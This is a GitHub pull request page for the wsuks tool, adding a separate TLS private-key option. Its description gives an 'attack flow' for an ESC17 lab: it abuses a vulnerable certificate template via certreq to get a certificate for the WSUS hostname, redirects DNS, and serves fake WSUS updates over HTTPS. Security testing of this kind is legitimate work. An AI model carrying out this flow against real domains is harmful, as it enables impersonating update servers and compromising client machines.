Skip to content

Added option --tls-certKey to supply cert private key#20

Open
jobarasoined wants to merge 1 commit intoNeffIsBack:masterfrom
jobarasoined:tlsCertKey-option
Open

Added option --tls-certKey to supply cert private key#20
jobarasoined wants to merge 1 commit intoNeffIsBack:masterfrom
jobarasoined:tlsCertKey-option

Conversation

@jobarasoined
Copy link
Copy Markdown

@jobarasoined jobarasoined commented May 1, 2026

Hello Neff,
sorry for the delay

What changed:

This PR adds support for providing a TLS certificate private key as a separate file via the --tls-certKey arg.
see issue #19 for more details

Key features:

  • If --tls-certKey is not provided, the code automatically checks if the certificate file contains an embedded private key (legacy format)
  • Added SSL error handling with guidance to ensure certificates are in PEM format (not DER)

How to test (simple test):

  1. Generate a self-signed certificate and private key :

    openssl genrsa -out private_key.pem 2048
    openssl req -x509 -new -key private_key.pem -out certificate.pem -days 365 -nodes -subj "/"
    sudo wsuks --serve-only --tls-cert certificate.pem --tls-certKey private_key.pem  # use -I to specify the correct interface 
image

How to test against ESC17 LAB:

attack flow (template vulnerable for ESC17 --> CSR generation --> Submit CSR to CA --> Retrieve cert.pem --> (optional) Convert to PFX --> Extract cert.pem + private_key.pem --> Run wsuks with --tls-cert and --tls-certKey )

1) Obtain CSR via enrolled user

  • Have the user with enrollment rights generate a CSR that includes the desired SAN (e.g., DNS: wsus.domain.local).
  • Example (OpenSSL):
openssl req -new -nodes -keyout private_key.pem -out request.csr -config openssl.config
image if prompted type the CN again and press enter

2) Submit CSR to CA and retrieve certificate

  • Submit the CSR to your CA (via web enrollment, certreq, or CA API) and obtain the signed certificate (certificate.pem / cert.crt).

from compromised windows machine as user with enrollment right to ESC17

certreq -f -submit -attrib "CertificateTemplate:VULN_TEMPLATENAME" -config "DC01.domain.local\CertificateAuthority NAME" "PATH_TO_request.csr" "PATH_TO_Save_cert.pem" 

download the cert.pem to your machine and use it with the generated private key or convert it to pfx to save it and use later.

back to our attacker machine.

3) Convert certificate + key into PFX (step 3 and 4 are optional. once you get cert.pem you can jump to step 5)

openssl pkcs12 -export -out certificate.pfx -inkey private_key.pem -in certificate.pem -passout pass:YOUR_PFX_PASSWORD

4) Extract cert.pem and private_key.pem from PFX

# Extract private key (PEM)
openssl pkcs12 -in certificate.pfx -nocerts -out private_key.pem -nodes -passin pass:YOUR_PFX_PASSWORD

# Extract certificate (PEM)
openssl pkcs12 -in certificate.pfx -clcerts -nokeys -out cert.pem -passin pass:YOUR_PFX_PASSWORD

5) Run wsuks with TLS cert and key

  • Example invocation:
wsuks --tls-cert cert.pem --tls-certKey private_key.pem  --serve-only

note* in this scenario i have control over dns and was able to add machines account to domain so i pointed wsus.domain.local to machine i control

note** the private_key.pem you generated with openssl genrsa -out private_key.pem 2048 is the same privatekey thats get extracted with openssl pkcs12 -in certificate.pfx -nocerts -out private_key.pem -nodes -passin pass:YOUR_PFX_PASSWORD

image

Comment thread wsuks/wsuks.py
self.logger.warning("Private key BEGIN in the certfile is not secure separate the two and keep the private key safe")
else:
self.logger.error("No private key found. Supply it using --tls-certKey")
# To perform TLS server authentication (decrypt/session key ops, prove ownership) the server needs the corresponding private key. The cert alone cannot do that.
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this is why i exit after no private key is found immediately

Comment thread wsuks/lib/argparser.py
advanced.add_argument("--WSUS-Server", metavar="", dest="wsusHost", help="IP or DNS name of the WSUS Server.")
advanced.add_argument("--WSUS-Port", metavar="", dest="wsusPort", type=int, help="Port of the WSUS Server. (DEFAULT: 8530 for HTTP, 8531 for HTTPS)")
advanced.add_argument("--tls-cert", metavar="", dest="tlsCert", help="Path to a TLS certificate that is valid for the WSUS Server. Turns on HTTPS mode.")
advanced.add_argument("--tls-certKey", metavar="", dest="tlsCertKey", help="Path to a TLS certificate private key that is valid for the WSUS Server. Turns on HTTPS mode.")
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I decided to break kebab-case for camel case, I felt --tls-cert-key already have too many dashs

@NeffIsBack
Copy link
Copy Markdown
Owner

Hello Neff,
sorry for the delay

Thanks for the PR and no worries!
I don't have much time at the moment either, so I will probably need a few weeks unfortunately to review it, but it's on the ToDo list!

@jobarasoined
Copy link
Copy Markdown
Author

jobarasoined commented May 2, 2026

I don't have much time at the moment either, so I will probably need a few weeks unfortunately to review it, but it's on the ToDo list!

That is totally fine and understandable—no problem at all.
Thanks for your time and have good day

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants